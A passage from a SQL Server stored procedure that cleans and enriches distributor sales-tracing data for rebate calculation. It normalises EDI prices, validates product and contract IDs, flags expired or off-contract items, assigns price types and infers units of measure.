WHERE TRC_TRNS_TYP IN ('IB','ZQ','DD')
AND [SALES_PERIOD] = isnull(@vSales_Period,[SALES_PERIOD])
AND [DIST_ID] = isnull(@vDIst_Id,[DIST_ID]);
-------------
--- E D I ---
-------------
--- Exclude PA's from SAF validation Cardinal & Mckesson, MckessonLTC
UPDATE [PDI_SALESTRACING_DEV].[STAGE].[SALES_TRACING_CURR_MEDLINE_RBT]
SET [SLS_CALC_STAT] = 'N'
WHERE [DIST_NR] IN ('2322211','180225','12580')
AND [TRC_TRNS_TYP] = 'PA'
AND [SLS_CALC_STAT] = 'P'
AND [SRC_FILE_TYP] = 'EDI'
AND [SALES_PERIOD] = isnull(@vSales_Period,[SALES_PERIOD])
AND [DIST_ID] = isnull(@vDIst_Id,[DIST_ID]);
--- update negative price to positive first
UPDATE [PDI_SALESTRACING_DEV].[STAGE].[SALES_TRACING_CURR_MEDLINE_RBT]
SET CTPRC = -1*[CTPRC]
WHERE [CTPRC] < 0 AND [TRC_QTY_SLD] < 0
AND [SLS_CALC_STAT] = 'P'
AND [SRC_FILE_TYP] = 'EDI'
AND [SALES_PERIOD] = isnull(@vSales_Period,[SALES_PERIOD])
AND [DIST_ID] = isnull(@vDIst_Id,[DIST_ID]);
UPDATE [PDI_SALESTRACING_DEV].[STAGE].[SALES_TRACING_CURR_MEDLINE_RBT]
SET DIPRC = -1*[DIPRC]
WHERE [DIPRC] < 0 AND [TRC_QTY_SLD] < 0
AND [SLS_CALC_STAT] = 'P'
AND [SRC_FILE_TYP] = 'EDI'
AND [SALES_PERIOD] = isnull(@vSales_Period,[SALES_PERIOD])
AND [DIST_ID] = isnull(@vDIst_Id,[DIST_ID]);
--- For Owens the qty should be turned into -ve for transaction type PA
--- iF it is not already negative
UPDATE [PDI_SALESTRACING_DEV].[STAGE].[SALES_TRACING_CURR_MEDLINE_RBT]
SET [TRC_QTY_SLD] = -1*[TRC_QTY_SLD]
WHERE [DIST_NR] = '900068'
AND [TRC_TRNS_TYP] = 'PA'
AND [TRC_QTY_SLD] > 0
AND [SLS_CALC_STAT] = 'P'
AND [SRC_FILE_TYP] = 'EDI'
AND [SALES_PERIOD] = isnull(@vSales_Period,[SALES_PERIOD])
AND [DIST_ID] = isnull(@vDIst_Id,[DIST_ID]);
--- CALCULATE CONT AND LIST PRICE ----
-- CARDINAL, CLAFLIN, FIRST CHOICE, HENRYSCHEIN, MCESSONLTC, MOHAWK
UPDATE [PDI_SALESTRACING_DEV].[STAGE].[SALES_TRACING_CURR_MEDLINE_RBT]
SET
[TRC_CNT_PRC] = [CTPRC],
[TRC_LIST_PRC] = [DIPRC]
WHERE [DIST_NR] IN ('12580','161072','60522','190633','180225','235165','140690')
AND [SLS_CALC_STAT] = 'P'
AND [SRC_FILE_TYP] = 'EDI'
AND [SALES_PERIOD] = isnull(@vSales_Period,[SALES_PERIOD])
AND [DIST_ID] = isnull(@vDIst_Id,[DIST_ID]);
/*
-- Calculate / select contract and list price when there is a contract
UPDATE [PDI_SALESTRACING_DEV].[STAGE].[SALES_TRACING_CURR_MEDLINE_RBT]
SET [TRC Price Type] = NULL
WHERE [SALES_PERIOD] = @vSales_Period;
UPDATE [PDI_SALESTRACING_DEV].[STAGE].[SALES_TRACING_CURR_MEDLINE_RBT]
SET [TRC Price Type] = 'CONT'
WHERE LEN([TRC Contract ID]) > 0
AND [SALES_PERIOD] = @vSales_Period;
UPDATE [PDI_SALESTRACING_DEV].[STAGE].[SALES_TRACING_CURR_MEDLINE_RBT]
SET [TRC Price Type] = 'LIST'
WHERE [TRC Price Type] IS NULL
AND [SALES_PERIOD] = @vSales_Period;
*/
--- MCKESSON, MOOREMED
UPDATE [PDI_SALESTRACING_DEV].[STAGE].[SALES_TRACING_CURR_MEDLINE_RBT]
SET
[TRC_CNT_PRC] = [CTPRC] - (TRC_EXT_RBT_AMT / ABS([TRC_QTY_SLD])),
[TRC_LIST_PRC] = [CTPRC]
WHERE [DIST_NR] IN ('232211','133340')
AND [SLS_CALC_STAT] = 'P'
AND [SRC_FILE_TYP] = 'EDI'
AND [SALES_PERIOD] = isnull(@vSales_Period,[SALES_PERIOD])
AND [DIST_ID] = isnull(@vDIst_Id,[DIST_ID]);
--- MIDLAND
UPDATE [PDI_SALESTRACING_DEV].[STAGE].[SALES_TRACING_CURR_MEDLINE_RBT]
SET
[TRC_CNT_PRC] = [CTPRC] - (TRC_EXT_RBT_AMT / ABS([TRC_QTY_SLD])),
[TRC_LIST_PRC] = [CTPRC]
WHERE [DIST_NR] = '141431' AND ABS(TRC_EXT_RBT_AMT ) > 0
AND [SLS_CALC_STAT] = 'P'
AND [SRC_FILE_TYP] = 'EDI'
AND [SALES_PERIOD] = isnull(@vSales_Period,[SALES_PERIOD])
AND [DIST_ID] = isnull(@vDIst_Id,[DIST_ID]);
UPDATE [PDI_SALESTRACING_DEV].[STAGE].[SALES_TRACING_CURR_MEDLINE_RBT]
SET [TRC_LIST_PRC] = [DIPRC]
WHERE [DIST_NR] = '141431' AND ABS(TRC_EXT_RBT_AMT ) = 0
AND [SLS_CALC_STAT] = 'P'
AND [SRC_FILE_TYP] = 'EDI'
AND [SALES_PERIOD] = isnull(@vSales_Period,[SALES_PERIOD])
AND [DIST_ID] = isnull(@vDIst_Id,[DIST_ID]);
-- SENECA has different calc for list price
UPDATE [PDI_SALESTRACING_DEV].[STAGE].[SALES_TRACING_CURR_MEDLINE_RBT]
SET [TRC_CNT_PRC] = [CTPRC],
[TRC_LIST_PRC] = [CTPRC]+[DIPRC]
WHERE [DIST_NR] = '192022'
AND [SLS_CALC_STAT] = 'P'
AND [SRC_FILE_TYP] = 'EDI'
AND [SALES_PERIOD] = isnull(@vSales_Period,[SALES_PERIOD])
AND [DIST_ID] = isnull(@vDIst_Id,[DIST_ID]);
-- OWENS & MINOR
UPDATE [PDI_SALESTRACING_DEV].[STAGE].[SALES_TRACING_CURR_MEDLINE_RBT]
SET
[TRC_CNT_PRC] = [DIPRC] - (TRC_EXT_RBT_AMT / ABS([TRC_QTY_SLD])),
[TRC_LIST_PRC] = [DIPRC]
WHERE [DIST_NR] IN ('900068')
AND [SLS_CALC_STAT] = 'P'
AND [SRC_FILE_TYP] = 'EDI'
AND [SALES_PERIOD] = isnull(@vSales_Period,[SALES_PERIOD])
AND [DIST_ID] = isnull(@vDIst_Id,[DIST_ID]);
-- GHX HCA
UPDATE [PDI_SALESTRACING_DEV].[STAGE].[SALES_TRACING_CURR_MEDLINE_RBT]
SET [TRC_LIST_PRC] = [CTPRC]
WHERE [DIST_NR] = '900200'
AND [SLS_CALC_STAT] = 'P'
AND [SRC_FILE_TYP] = 'EDI'
AND [SALES_PERIOD] = isnull(@vSales_Period,[SALES_PERIOD])
AND [DIST_ID] = isnull(@vDIst_Id,[DIST_ID]);
-- When Invoice date is not provided
UPDATE [PDI_SALESTRACING_DEV].[STAGE].[SALES_TRACING_CURR_MEDLINE_RBT]
SET [INV_DT_IN] = 'T' --Initialy T = provided in tracing,will be turned to 'D' when not in tracin and derived
WHERE SLS_CALC_STAT = 'P'
AND [SALES_PERIOD] = isnull(@vSales_Period,[SALES_PERIOD])
AND [DIST_ID] = isnull(@vDIst_Id,[DIST_ID]);
UPDATE [PDI_SALESTRACING_DEV].[STAGE].[SALES_TRACING_CURR_MEDLINE_RBT]
SET [TRC_PRC_TYP] = NULL, [UPD_PRC_TYP] = NULL
WHERE
[SLS_CALC_STAT] = 'P'
AND [SALES_PERIOD] = isnull(@vSales_Period,[SALES_PERIOD])
and [DIST_ID] = isnull(@vDIst_Id,[DIST_ID]);
--- Initialize updated product and contract id
UPDATE [PDI_SALESTRACING_DEV].[STAGE].[SALES_TRACING_CURR_MEDLINE_RBT]
SET UPD_PROD_ID = TRC_PROD_ID
WHERE SLS_CALC_STAT = 'P'
AND [SALES_PERIOD] = isnull(@vSales_Period,[SALES_PERIOD])
AND [DIST_ID] = isnull(@vDIst_Id,[DIST_ID]);
-- Trinity send neithee price nor unit - so by defaukt it is each
UPDATE [PDI_SALESTRACING_DEV].[STAGE].[SALES_TRACING_CURR_MEDLINE_RBT]
SET [TRC_UNIT] = 'EA', TRC_UPD_UNIT = 'EA'
WHERE [DIST_ID] = 'TRINITY'
AND [SLS_CALC_STAT] = 'P'
AND [SALES_PERIOD] = isnull(@vSales_Period,[SALES_PERIOD])
AND [DIST_ID] = isnull(@vDIst_Id,[DIST_ID]);
--****************************************************************************
-- CORRECT PRODUCT w/ XREF Table
--*****************************************************************************
UPDATE S
SET S.UPD_PROD_ID = X.UPD_PROD_ID
FROM [PDI_SALESTRACING_DEV].[STAGE].[SALES_TRACING_CURR_MEDLINE_RBT] S
JOIN STAGE.TRC_PROD_CORR_XREF X ON S.TRC_PROD_ID = X.TRC_PROD_ID -- AND S.DIST_NR = X.DIST_NR
WHERE SLS_CALC_STAT = 'P'
AND S.[SALES_PERIOD] = isnull(@vSales_Period,[SALES_PERIOD])
AND S.[DIST_ID] = isnull(@vDIst_Id,S.[DIST_ID]);
-----------------------------------------------------------------------------
--- PRODUCT DOES NOT EXIST
-----------------------------------------------------------------------------
UPDATE [PDI_SALESTRACING_DEV].[STAGE].[SALES_TRACING_CURR_MEDLINE_RBT]
SET
SLS_CALC_STAT = 'E',
ERR_CD = 'UPI', -- Unknown Product ID
UPD_PROD_ID = NULL -- Turn the updatec product ID back to null if it is not a valid product
WHERE
[UPD_PROD_ID] NOT IN
(SELECT DISTINCT [ITEM NO]
FROM [PDI_SALESTRACING_DEV].[STAGE].[LIST_PRICE] )
AND [SLS_CALC_STAT] = 'P'
AND [SALES_PERIOD] = isnull(@vSales_Period,[SALES_PERIOD])
AND [DIST_ID] = isnull(@vDIst_Id,[DIST_ID]) ;
-----------------------------------------------------------------------------
--- CONTRACT ID -----
-----------------------------------------------------------------------------
-- REMOVE KNOWN ISSUE WITH CONTRACT IDs
UPDATE [PDI_SALESTRACING_DEV].[STAGE].[SALES_TRACING_CURR_MEDLINE_RBT]
SET TRC_CNT_ID = NULL
WHERE UPPER(TRC_CNT_ID) LIKE '%TRACING%' -- Currently an issue with Medline
AND [SLS_CALC_STAT] = 'P'
AND [SALES_PERIOD] = isnull(@vSales_Period,[SALES_PERIOD])
AND [DIST_ID] = isnull(@vDIst_Id,[DIST_ID]);
UPDATE [PDI_SALESTRACING_DEV].[STAGE].[SALES_TRACING_CURR_MEDLINE_RBT]
SET [RBT_CNT_ID] = [TRC_CNT_ID] , -- need to keep it separate from sales calculation
[UPD_CNT_ID] = NULL
WHERE LEN([TRC_CNT_ID]) > 0
AND [SLS_CALC_STAT] = 'P'
AND [SALES_PERIOD] = isnull(@vSales_Period,[SALES_PERIOD])
AND [DIST_ID] = isnull(@vDIst_Id,[DIST_ID]);
-- Initialze Contract ID
-- If there is a valid Contract ID, Price Type - CONT
UPDATE S
SET
[UPD_CNT_ID] = [TRC_CNT_ID],
[TRC_PRC_TYP] = 'CONT'
FROM [PDI_SALESTRACING_DEV].[STAGE].[SALES_TRACING_CURR_MEDLINE_RBT] S
LEFT JOIN STAGE.DIM_CONTRACT C ON S.[TRC_CNT_ID] = C.CONTRACT_NO
WHERE LEN([TRC_CNT_ID]) > 0
AND C.[CONTRACT_NO] IS NOT NULL
AND [SLS_CALC_STAT] = 'P'
AND S.[SALES_PERIOD] = isnull(@vSales_Period,S.[SALES_PERIOD])
and S.[DIST_ID] = isnull(@vDIst_Id,S.[DIST_ID]);
--****************************************************************************
-- CORRECT CONTRACT w/ XREF Table
--*****************************************************************************
-- Correct remaining ones by matching contract and product
UPDATE S
SET S.UPD_CNT_ID = X.UPD_CNT_ID
FROM [PDI_SALESTRACING_DEV].[STAGE].[SALES_TRACING_CURR_MEDLINE_RBT] S
JOIN [PDI_SALESTRACING_DEV].[STAGE].[TRC_CNT_CORR_XREF] X
ON S.TRC_CNT_ID = X.TRC_CNT_ID AND S.UPD_PROD_ID = X.PROD_ID
WHERE
LEN(S.[TRC_CNT_ID]) > 0
AND S.[UPD_CNT_ID] IS NULL
AND S.SLS_CALC_STAT = 'P'
AND S.[SALES_PERIOD] = isnull(@vSales_Period,[SALES_PERIOD])
AND S.[DIST_ID] = isnull(@vDIst_Id,S.[DIST_ID]);
-- TRC_CNT_ID DOES NOT EXIST - EXCEPTION ---
UPDATE [PDI_SALESTRACING_DEV].[STAGE].[SALES_TRACING_CURR_MEDLINE_RBT]
SET [ERR_CD] = 'UCI'
WHERE
LEN([TRC_CNT_ID]) > 0
AND [UPD_CNT_ID] IS NULL
AND [SLS_CALC_STAT] = 'P'
AND [SALES_PERIOD] = isnull(@vSales_Period,[SALES_PERIOD])
AND [DIST_ID] = isnull(@vDIst_Id,[DIST_ID]);
------------------------------------------------------------------
--- CONTRACT EXPIRED - EXCEPTION
------------------------------------------------------------------
UPDATE S
SET
S.[CNT_Exp_DT] = C.[Exp_Date],
S.[CNT_EXP_DAYS] = DATEDIFF(Day, C.[Exp_Date],S.INV_DT),
S.[ERR_CD] = 'EXC'
FROM
[PDI_SALESTRACING_DEV].[STAGE].[SALES_TRACING_CURR_MEDLINE_RBT] S
JOIN (SELECT [Contract ID], ITEMID, MAX([Exp Date]) AS [Exp_Date]
FROM [PDI_SALESTRACING_DEV].[STAGE].[CONT_PRICE]
GROUP BY [Contract ID], ITEMID ) C
ON (S.[UPD_CNT_ID] = C.[Contract ID]
AND S.[UPD_PROD_ID] = C.[ITEMID]
AND S.[INV_DT] > DATEADD(m,1,C.[Exp_Date]) )
WHERE
S.[UPD_CNT_ID] IS NOT NULL --OR LEN(S.[UPD_CNT_ID])>0)
AND S.[SLS_CALC_STAT] = 'P'
AND S.[SALES_PERIOD] = isnull(@vSales_Period,[SALES_PERIOD])
and S.[DIST_ID] = isnull(@vDIst_Id,S.[DIST_ID]);
-----------------------------------------------------------------------------
--- PRODUCT NOT ON CONTRACT - EXCEPTION ---
-----------------------------------------------------------------------------
/*
UPDATE S
SET
S.SLS_CALC_STAT = 'E',
S.ERR_CD = 'PNC'
FROM [PDI_SALESTRACING_DEV].[STAGE].[SALES_TRACING_CURR_MEDLINE_RBT] S
JOIN [PDI_SALESTRACING_DEV].[STAGE].[CONT_PRICE] C ON LTRIM(RTRIM(S.[UPD_PROD_ID])) = LTRIM(RTRIM(C.[Contract ID]))
WHERE ltrim(rtrim([UPD_PROD_ID]))+'-'+ltrim(rtrim([UPD_PROD_ID])) NOT IN
(SELECT DISTINCT ltrim(rtrim([Contract ID]))+'-'+ltrim(rtrim([ITEMID])) FROM [PDI_SALESTRACING_DEV].[STAGE].[CONT_PRICE])
AND S.[TRC_PRC_TYP] = 'CONT'
AND S.[SLS_CALC_STAT] = 'P'
AND S.[SALES_PERIOD] = isnull(@vSales_Period,[SALES_PERIOD])
AND S.[DIST_ID] = isnull(@vDIst_Id,[DIST_ID]);
*/
UPDATE S
SET S.ERR_CD = 'PNC'
FROM [PDI_SALESTRACING_DEV].[STAGE].[SALES_TRACING_CURR_MEDLINE_RBT] S
LEFT JOIN (
SELECT DISTINCT ci.[Contract ID], ci.ITEMID
FROM [PDI_SALESTRACING_DEV].[STAGE].[CONT_PRICE] ci
JOIN
(SELECT DISTINCT [UPD_CNT_ID]
FROM [PDI_SALESTRACING_DEV].[STAGE].[SALES_TRACING_CURR_MEDLINE_RBT]
WHERE [SLS_CALC_STAT] = 'P'
AND [SALES_PERIOD] = isnull(@vSales_Period,[SALES_PERIOD])
AND [DIST_ID] = isnull(@vDIst_Id,[DIST_ID])
) ii
ON ci.[Contract ID] = ii.[UPD_CNT_ID] ) C
ON S.[UPD_CNT_ID] = C.[Contract ID] AND S.[UPD_PROD_ID] = C.ITEMID
WHERE S.[UPD_CNT_ID] IS NOT NULL
AND S.[SLS_CALC_STAT] = 'P'
AND C.ITEMID IS NULL
AND S.[SALES_PERIOD] = isnull(@vSales_Period,[SALES_PERIOD])
AND S.[DIST_ID] = isnull(@vDIst_Id,[DIST_ID]) ;
-----------------------------------------------------------------------------
--- SET SOME INITIAL VLAUES ---
-----------------------------------------------------------------------------
-- We need to capture List price for every record to calculate rebate
-- Shouldn't we load it with dist price when there is one - because that is the out the door price
UPDATE S
SET S.[RBT_LIST_PRC] = L.CS_PRICE
FROM [PDI_SALESTRACING_DEV].[STAGE].[SALES_TRACING_CURR_MEDLINE_RBT] S
JOIN [PDI_SALESTRACING_DEV].[STAGE].[LIST_PRICE] L ON S.[UPD_PROD_ID] = L.[ITEM NO]
WHERE
S.[SLS_CALC_STAT] = 'P'
AND S.[SALES_PERIOD] = isnull(@vSales_Period,[SALES_PERIOD])
and S.[DIST_ID] = isnull(@vDIst_Id,S.[DIST_ID])
;
--- 10% DISCOUNT FOR AMD, MEDPLUS, MSD, NDC -- Need to manage this through interface ant table
UPDATE [PDI_SALESTRACING_DEV].[STAGE].[SALES_TRACING_CURR_MEDLINE_RBT]
SET [RBT_LIST_PRC] = [RBT_LIST_PRC]*0.9
WHERE [SLS_CALC_STAT] = 'P'
AND [SALES_PERIOD] = isnull(@vSales_Period,[SALES_PERIOD])
AND [DIST_ID] = isnull(@vDIst_Id,[DIST_ID])
AND DIST_NR IN ( 'C00104','C00102','C00103','132550') ;
--****************************************************************************
-- ASSIGN INV_DT, POPULATE INV_DT_NR
--*****************************************************************************
-- If INV_DT is null use salesperiod
UPDATE [PDI_SALESTRACING_DEV].[STAGE].[SALES_TRACING_CURR_MEDLINE_RBT]
SET [INV_DT] = CONVERT(DATE,LEFT([sales_period],4)+'-'+LEFT(RIGHT([sales_period],4),2)+'-'+RIGHT([sales_period],2))
,INV_DT_IN = 'D' -- Derived
WHERE [INV_DT] IS NULL
AND SLS_CALC_STAT = 'P'
AND [SALES_PERIOD] = isnull(@vSales_Period,[SALES_PERIOD])
and [DIST_ID] = isnull(@vDIst_Id,[DIST_ID])
UPDATE [PDI_SALESTRACING_DEV].[STAGE].[SALES_TRACING_CURR_MEDLINE_RBT]
SET INV_DT_NR = datepart(yyyy,[INV_DT])*10000+datepart(mm,[INV_DT])*100+datepart(dd,[INV_DT])
WHERE SLS_CALC_STAT = 'P'
AND [SALES_PERIOD] = isnull(@vSales_Period,[SALES_PERIOD])
and [DIST_ID] = isnull(@vDIst_Id,[DIST_ID])
--****************************************************************************
-- STEP 1: OTHER PRICE TYPE
--*****************************************************************************
-- DIST PRICE TYPE
-- if there is not contract, but there is distributor price available - then price type = dist
UPDATE S
SET S.[TRC_PRC_TYP] = 'DIST'
FROM [PDI_SALESTRACING_DEV].[STAGE].[SALES_TRACING_CURR_MEDLINE_RBT] S
JOIN [PDI_SALESTRACING_dev].[STAGE].[DIST_PRICE] D
ON S.DIST_NR = D.DISTID and S.[UPD_PROD_ID] = D.ITEMID
AND INV_DT_NR BETWEEN D.EFFDATE AND (D.EXPDATE+600) -- 6 months grace period for shelf life
WHERE
[TRC_PRC_TYP] IS NULL
AND S.[SLS_CALC_STAT] = 'P'
AND S.[SALES_PERIOD] = isnull(@vSales_Period,[SALES_PERIOD])
and S.[DIST_ID] = isnull(@vDIst_Id,S.[DIST_ID])
;
-- Everything else is list price
UPDATE [PDI_SALESTRACING_DEV].[STAGE].[SALES_TRACING_CURR_MEDLINE_RBT]
SET [TRC_PRC_TYP] = 'LIST'
WHERE [TRC_PRC_TYP] IS NULL
AND [SLS_CALC_STAT] = 'P'
AND [SALES_PERIOD] = isnull(@vSales_Period,[SALES_PERIOD])
and [DIST_ID] = isnull(@vDIst_Id,[DIST_ID]);
--select 'TRC_PRC_TP is LIST...' , @@ROWCOUNT
---------------------------------------------------------------------
--- STEP 2: CALCULATE ALL TYPES OF PRICES ----
---------------------------------------------------------------------
-- Update TRC_CNT_PRC when [TRC_PRC_TYP] = 'CONT' but TRC_CNT_PRC is null
-- Calculate from (1) contract extnded cost, (2) Take the lesser of List and Dist Price (3) LIST OR DIST whatever is available
UPDATE [PDI_SALESTRACING_DEV].[STAGE].[SALES_TRACING_CURR_MEDLINE_RBT]
SET [TRC_CNT_PRC] = CASE
WHEN [TRC_EXT_CNT_COST] IS NOT NULL THEN [TRC_EXT_CNT_COST] / [TRC_QTY_SLD]
WHEN [TRC_DIST_PRC] IS NOT NULL AND [TRC_LIST_PRC] IS NOT NULL THEN IIF ([TRC_DIST_PRC]<[TRC_LIST_PRC], [TRC_DIST_PRC], [TRC_LIST_PRC])
WHEN [TRC_DIST_PRC] IS NOT NULL AND [TRC_LIST_PRC] IS NULL THEN [TRC_DIST_PRC]
WHEN [TRC_LIST_PRC] IS NOT NULL AND [TRC_DIST_PRC] IS NULL THEN [TRC_LIST_PRC] END
WHERE
[TRC_PRC_TYP] = 'CONT'
AND [TRC_CNT_PRC] is NULL
AND [SLS_CALC_STAT] = 'P'
AND [SALES_PERIOD] = isnull(@vSales_Period,[SALES_PERIOD])
AND [DIST_ID] = isnull(@vDIst_Id,[DIST_ID])
;
-- Update when [TRC_PRC_TYP] = 'DIST' but TRC_DIST_PRC is null
-- Take the extended cost/qty or lesser of List and Cont Price
UPDATE [PDI_SALESTRACING_DEV].[STAGE].[SALES_TRACING_CURR_MEDLINE_RBT]
SET [TRC_DIST_PRC] = CASE
WHEN [TRC_EXT_LIST_COST] IS NOT NULL THEN [TRC_EXT_LIST_COST] / [TRC_QTY_SLD]
WHEN [TRC_LIST_PRC] IS NOT NULL AND [TRC_CNT_PRC] IS NOT NULL THEN IIF ([TRC_CNT_PRC]<[TRC_LIST_PRC], [TRC_CNT_PRC], [TRC_LIST_PRC])
WHEN [TRC_LIST_PRC] IS NOT NULL AND [TRC_CNT_PRC] IS NULL THEN [TRC_LIST_PRC]
WHEN [TRC_LIST_PRC] IS NULL AND [TRC_CNT_PRC] IS NOT NULL THEN [TRC_CNT_PRC] END
WHERE
[TRC_PRC_TYP] = 'DIST'
AND [SLS_CALC_STAT] = 'P'
AND [TRC_DIST_PRC] is NULL
AND [SALES_PERIOD] = isnull(@vSales_Period,[SALES_PERIOD])
AND [DIST_ID] = isnull(@vDIst_Id,[DIST_ID])
;
-- Update when [TRC_PRC_TYP] = 'LIST' but TRC_LIST_PRC is null
-- extended Cost / Qry - Take the lesser of List and Cont Price
UPDATE [PDI_SALESTRACING_DEV].[STAGE].[SALES_TRACING_CURR_MEDLINE_RBT]
SET [TRC_LIST_PRC] = CASE
WHEN [TRC_EXT_LIST_COST] IS NOT NULL THEN [TRC_EXT_LIST_COST] / [TRC_QTY_SLD]
WHEN [TRC_DIST_PRC] IS NOT NULL AND [TRC_CNT_PRC] IS NOT NULL THEN IIF ([TRC_CNT_PRC]>[TRC_DIST_PRC], [TRC_CNT_PRC], [TRC_DIST_PRC])
WHEN [TRC_DIST_PRC] IS NOT NULL AND [TRC_CNT_PRC] IS NULL THEN [TRC_DIST_PRC]
WHEN [TRC_DIST_PRC] IS NULL AND [TRC_CNT_PRC] IS NOT NULL THEN [TRC_CNT_PRC] END
WHERE
[TRC_PRC_TYP] = 'LIST'
AND [TRC_LIST_PRC] is NULL
AND [SLS_CALC_STAT] = 'P'
AND [SALES_PERIOD] = isnull(@vSales_Period,[SALES_PERIOD])
AND [DIST_ID] = isnull(@vDIst_Id,[DIST_ID])
;
--select 'TRC_CNT_PRC is updated with TRC_DIST_PRC ...' , @@ROWCOUNT
-- Calculate prices when there is no price but there is extended cost provided
UPDATE [PDI_SALESTRACING_DEV].[STAGE].[SALES_TRACING_CURR_MEDLINE_RBT]
SET [TRC_CNT_PRC] = [TRC_EXT_LIST_COST]/[TRC_QTY_SLD]
WHERE
[TRC_CNT_PRC] is NULL AND [TRC_DIST_PRC] IS NULL AND [TRC_LIST_PRC] IS NULL
AND [TRC_PRC_TYP] = 'CONT'
AND [TRC_EXT_LIST_COST] IS NOT NULL
AND [SLS_CALC_STAT] = 'P'
AND [SALES_PERIOD] = isnull(@vSales_Period,[SALES_PERIOD])
AND [DIST_ID] = isnull(@vDIst_Id,[DIST_ID])
;
UPDATE [PDI_SALESTRACING_DEV].[STAGE].[SALES_TRACING_CURR_MEDLINE_RBT]
SET [TRC_DIST_PRC] = [TRC_EXT_CNT_COST]/[TRC_QTY_SLD]
WHERE
[TRC_CNT_PRC] is NULL AND [TRC_DIST_PRC] IS NULL AND [TRC_LIST_PRC] IS NULL
AND [TRC_PRC_TYP] = 'DIST'
AND [TRC_EXT_CNT_COST] IS NOT NULL
AND [SLS_CALC_STAT] = 'P'
AND [SALES_PERIOD] = isnull(@vSales_Period,[SALES_PERIOD])
AND [DIST_ID] = isnull(@vDIst_Id,[DIST_ID])
;
UPDATE [PDI_SALESTRACING_DEV].[STAGE].[SALES_TRACING_CURR_MEDLINE_RBT]
SET [TRC_LIST_PRC] = [TRC_EXT_CNT_COST]/[TRC_QTY_SLD]
WHERE
[TRC_CNT_PRC] is NULL AND [TRC_DIST_PRC] IS NULL AND [TRC_LIST_PRC] IS NULL
AND [TRC_PRC_TYP] = 'LIST'
AND [TRC_EXT_CNT_COST] IS NOT NULL
AND [SLS_CALC_STAT] = 'P'
AND [SALES_PERIOD] = isnull(@vSales_Period,[SALES_PERIOD])
AND [DIST_ID] = isnull(@vDIst_Id,[DIST_ID])
;
------------------------------------------------------------------------------
-- STEP 3: : Calculate UOM
------------------------------------------------------------------------------
-- INITIALIZE --
UPDATE [PDI_SALESTRACING_DEV].[STAGE].[SALES_TRACING_CURR_MEDLINE_RBT]
SET [TRC_UPD_UNIT] = NULL
WHERE
[SLS_CALC_STAT] = 'P'
AND [SALES_PERIOD] = isnull(@vSales_Period,[SALES_PERIOD])
AND [DIST_ID] = isnull(@vDIst_Id,[DIST_ID]);
--------------------------------------------------------------------------------------------------
--- 3.1 For 'CONT' Price Type -- Will try out all 3 type of prices - in the order of CNT, DIST, LIST
---------------------------------------------------------------------------------------------------
UPDATE S
SET [TRC_UPD_UNIT] =
CASE
WHEN S.[TRC_CNT_PRC] BETWEEN (0.6*CNT.CS_PRICE) AND (1.4*CNT.CS_PRICE) THEN 'CS'
WHEN S.[TRC_CNT_PRC] BETWEEN (0.6*CNT.BX_PRICE) AND (1.4*CNT.BX_PRICE) THEN 'BX'
WHEN S.[TRC_CNT_PRC] BETWEEN (0.6*CNT.EA_PRICE) AND (1.4*CNT.EA_PRICE) THEN 'EA'
END
FROM
[PDI_SALESTRACING_DEV].[STAGE].[SALES_TRACING_CURR_MEDLINE_RBT] S
JOIN
(SELECT [Contract ID], ITEMID, [Contract Price] AS CS_PRICE, C.[Contract Price]/L.BX BX_PRICE,
C.[Contract Price]/L.EA EA_PRICE, L.BX, L.EA, C.[Eff Date], C.[Exp Date]
FROM [PDI_SALESTRACING_DEV].[STAGE].[CONT_PRICE] C
JOIN [PDI_SALESTRACING_DEV].[STAGE].[LIST_PRICE] L ON C.ITEMID = L.[ITEM NO]) AS CNT
ON S.[UPD_CNT_ID] = CNT.[Contract ID] AND S.[UPD_PROD_ID] = CNT.ITEMID
--AND S.[INV_DT] BETWEEN CNT.[Eff Date] AND DATEADD(m,1,CNT.[Exp Date]) -- Date validation will be later
WHERE
S.[TRC_UPD_UNIT] IS NULL
AND S.[TRC_PRC_TYP] = 'CONT'
AND S.[SLS_CALC_STAT] = 'P'
AND S.[SALES_PERIOD] = isnull(@vSales_Period,[SALES_PERIOD])
AND S.[DIST_ID] = isnull(@vDIst_Id,S.[DIST_ID])
;
-- TRY DIST PRICE
UPDATE S
SET [TRC_UPD_UNIT] =
CASE
WHEN S.[TRC_DIST_PRC] BETWEEN (0.6*D.CS_PRICE) AND (1.4*D.CS_PRICE) THEN 'CS'
WHEN S.[TRC_DIST_PRC] BETWEEN (0.6*D.BX_PRICE) AND (1.4*D.BX_PRICE) THEN 'BX'
WHEN S.[TRC_DIST_PRC] BETWEEN (0.6*D.EA_PRICE) AND (1.4*D.EA_PRICE) THEN 'EA'
END
FROM
[PDI_SALESTRACING_DEV].[STAGE].[SALES_TRACING_CURR_MEDLINE_RBT] S
JOIN [PDI_SALESTRACING_dev].[STAGE].[DIST_PRICE] D
ON S.DIST_NR = D.DISTID and S.[UPD_PROD_ID] = D.ITEMID
AND S.INV_DT_NR BETWEEN D.EFFDATE AND D.EXPDATE
WHERE
S.[TRC_UPD_UNIT] IS NULL
AND S.[TRC_PRC_TYP] = 'CONT'
AND S.[TRC_DIST_PRC] IS NOT NULL
AND S.[SLS_CALC_STAT] = 'P'
AND S.[SALES_PERIOD] = isnull(@vSales_Period,[SALES_PERIOD])
AND S.[DIST_ID] = isnull(@vDIst_Id,S.[DIST_ID])
;
-- TRY LIST PRICE
UPDATE S
SET [TRC_UPD_UNIT] =
CASE
WHEN S.[TRC_LIST_PRC] BETWEEN (0.6*L.CS_PRICE) AND (1.4*L.CS_PRICE) THEN 'CS'
WHEN S.[TRC_LIST_PRC] BETWEEN (0.6*L.BX_PRICE) AND (1.4*L.BX_PRICE) THEN 'BX'
WHEN S.[TRC_LIST_PRC] BETWEEN (0.6*L.EA_PRICE) AND (1.4*L.EA_PRICE) THEN 'EA'
END
FROM
[PDI_SALESTRACING_DEV].[STAGE].[SALES_TRACING_CURR_MEDLINE_RBT] S
JOIN [PDI_SALESTRACING_DEV].[STAGE].[LIST_PRICE] L ON S.[UPD_PROD_ID] = L.[ITEM NO]
WHERE
S.[TRC_UPD_UNIT] IS NULL
AND S.[TRC_PRC_TYP] = 'CONT'
AND S.[TRC_LIST_PRC] IS NOT NULL
AND S.[SLS_CALC_STAT] = 'P'
AND S.[SALES_PERIOD] = isnull(@vSales_Period,[SALES_PERIOD])
AND S.[DIST_ID] = isnull(@vDIst_Id,S.[DIST_ID])
;
--------------------------------------------------------------------------------------------------
--- 3.2 For 'DIST' Price Type -- Will try out all 3 type of prices - in the order of DIST, CNT, LIST
---------------------------------------------------------------------------------------------------
-- TRY DIST PRICE
UPDATE S
